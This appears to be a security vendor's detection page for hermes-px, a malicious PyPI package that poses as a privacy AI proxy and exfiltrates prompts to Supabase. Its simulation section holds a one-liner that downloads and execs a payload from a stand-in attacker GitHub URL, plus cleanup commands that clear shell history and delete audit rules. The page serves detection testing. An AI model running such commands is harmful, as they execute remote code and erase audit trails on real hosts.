hermes-px: A Fake Privacy Proxy Exfiltrating Prompts and Tampering with Claude Code
Detection stack
- AIDR
- Alert
- ETL
- Query
Summary
JFrog Security Research identified a malicious PyPI package, hermes-px, posing as a privacy-first AI inference proxy. Instead of protecting users, it routes traffic through Tor to an unauthorized university-hosted AI endpoint, swaps or rewrites system messages, and exfiltrates prompts and model responses to a Supabase backend. The package also embeds a stolen, rebranded Anthropic Claude system prompt, reinforcing the deception. hermes-px is distributed via public PyPI and is installable via standard pip workflows, making it easy to pull into developer environments.
Investigation
Researchers reviewed the source and found three encryption layers used to conceal sensitive strings, alongside a hard-coded Supabase API key and a Telemetry component that transmits data directly over the public internet. The decrypted upstream endpoint resolves to a private university API guarded by Azure WAF, indicating abuse of infrastructure not intended for public proxying. The project documentation further nudges users to fetch and execute additional code from a GitHub URL, extending risk beyond the package itself. To blend into normal development patterns, hermes-px imitates the OpenAI Python SDK interface, reducing suspicion during integration.
Mitigation
Remove hermes-px from all environments and lock dependency sources to prevent reinstallation. Rotate any credentials that may have been exposed in prompts, configuration, or logs, and block access to the Supabase exfiltration domain and other identified malicious URLs. If Tor was installed specifically to support this tool, remove it and review related network controls. Assume prompts may contain sensitive data, and review any captured content for secrets, tokens, or regulated information.
Response
Hunt for hermes-px installations using package inventories and developer workstation baselines, then alert on outbound connections to supabase.co and the identified university API endpoint. Quarantine affected hosts, preserve relevant artifacts (package files, terminal history, dependency lockfiles), and scope exposure by determining which prompts and responses were transmitted. Notify impacted users and, if applicable, the affected institution(s), and update detections to flag SDK look-alikes, Tor-mediated proxy behavior, and suspicious telemetry modules in Python packages.
"graph TB %% Class definitions classDef technique fill:#ffcc99 classDef tool fill:#cccccc %% Technique nodes tech_user_exec["<b>Technique</b> – <b>T1204 User Execution</b><br/>Victim runs malicious command (e.g., pip install hermes-px)<br/><b>Description</b>: Execution of malicious code by convincing a user to run it."] class tech_user_exec technique tech_supply_chain["<b>Technique</b> – <b>T1195.002 Compromise Software Supply Chain</b><br/>Malicious PyPI package published to hijack dependency chain<br/><b>Description</b>: Adversary injects malicious code into a software supply chain."] class tech_supply_chain technique tech_python["<b>Technique</b> – <b>T1059.006 Python</b><br/>Malicious Python code executed after installation<br/><b>Description</b>: Use of the Python interpreter to run commands."] class tech_python technique tech_proxy_ext["<b>Technique</b> – <b>T1090.002 External Proxy</b><br/>Traffic routed through Tor exit node<br/><b>Description</b>: Use of an external proxy service to hide the origin of network traffic."] class tech_proxy_ext technique tech_proxy_multi["<b>Technique</b> – <b>T1090.003 Multi hop Proxy</b><br/>Multiple Tor hops for anonymity<br/><b>Description</b>: Chaining several proxies to further obscure traffic source."] class tech_proxy_multi technique tech_web_proto["<b>Technique</b> – <b>T1071.001 Web Protocols</b><br/>HTTP requests to a private university AI API<br/><b>Description</b>: Use of web protocols for command and control communication."] class tech_web_proto technique tech_obfuscation["<b>Technique</b> – <b>T1027 Obfuscated Files or Information</b><br/>Encrypted strings decoded at runtime<br/><b>Description</b>: Hide malicious code using encryption or encoding."] class tech_obfuscation technique tech_dynamic_api["<b>Technique</b> – <b>T1027.007 Dynamic API Resolution</b><br/>API addresses resolved dynamically at execution time<br/><b>Description</b>: Resolve and invoke APIs at runtime to avoid static detection."] class tech_dynamic_api technique tech_exfil["<b>Technique</b> – <b>T1567 Exfiltration Over Web Service</b><br/>Data sent to attacker Supabase endpoint<br/><b>Description</b>: Transfer of data to external web services controlled by the adversary."] class tech_exfil technique tech_subvert_trust["<b>Technique</b> – <b>T1553 Subvert Trust Controls</b><br/>Fake organization and polished documentation used to lure victims<br/><b>Description</b>: Manipulate trust relationships to facilitate compromise."] class tech_subvert_trust technique %% Flow connections tech_user_exec –>|executes| tech_supply_chain tech_supply_chain –>|delivers| tech_python tech_python –>|uses| tech_proxy_ext tech_proxy_ext –>|chains to| tech_proxy_multi tech_proxy_multi –>|communicates via| tech_web_proto tech_web_proto –>|uses| tech_obfuscation tech_web_proto –>|uses| tech_dynamic_api tech_obfuscation –>|enables| tech_exfil tech_dynamic_api –>|enables| tech_exfil tech_python –>|enables| tech_subvert_trust "
Attack Flow
Detections
Possible Data Infiltration / Exfiltration / C2 via Third Party Services / Tools (via proxy)
View
Possible Data Infiltration / Exfiltration / C2 via Third Party Services / Tools (via dns)
View
Possible Github File Downloading Initiated By Unusual Process (via network_connection)
View
IOCs (HashSha1) to detect: hermes-px: The 'Privacy' AI Proxy That Steals Your Prompts, Containing Altered Claude Code System Prompt
View
Malicious API Endpoint Hijacking for AI Inference [Webserver]
View
Suspicious Python Script Execution from GitHub [Linux Process Creation]
View
Simulation Execution
Prerequisite: The Telemetry & Baseline Pre‑flight Check must have passed.
Rationale: This section details the precise execution of the adversary technique (TTP) designed to trigger the detection rule. The commands and narrative MUST directly reflect the TTPs identified and aim to generate the exact telemetry expected by the detection logic. Abstract or unrelated examples will lead to misdiagnosis.
-
Attack Narrative & Commands:
An attacker has obtained a malicious Python payload hosted on a public GitHub repository. To avoid writing files to disk (reducing forensic footprint), they use a single‑line Python command that:- Calls
urllib.request.urlopen()to download the raw script content from GitHub. - Reads the response and passes the bytes to
exec()for immediate execution. - Executes the command on a compromised Linux host where the attacker already has a low‑privilege shell.
This exact pattern (
python -c "import urllib.request; exec(urllib.request.urlopen(...).read())") matches the detection rule’s string criteria. - Calls
-
Regression Test Script:
#!/bin/bash # # Simulate malicious Python execution that should trigger the Sigma rule. # MALICIOUS_URL="https://raw.githubusercontent.com/attacker/malicious/main/payload.py" python3 -c "import urllib.request, sys; exec(urllib.request.urlopen('$MALICIOUS_URL').read())"Save this script as
trigger_detection.sh, make it executable (chmod +x trigger_detection.sh), and run it on the target host. -
Cleanup Commands:
# No persistent artifacts are created, but ensure the terminal is clean. history -c # Clear command history for the current session sudo auditctl -D # (Optional) Remove all runtime audit rules if you added them only for testing # If you added a persistent rule in /etc/audit/rules.d/, consider removing it: # sudo rm /etc/audit/rules.d/process_creation.rules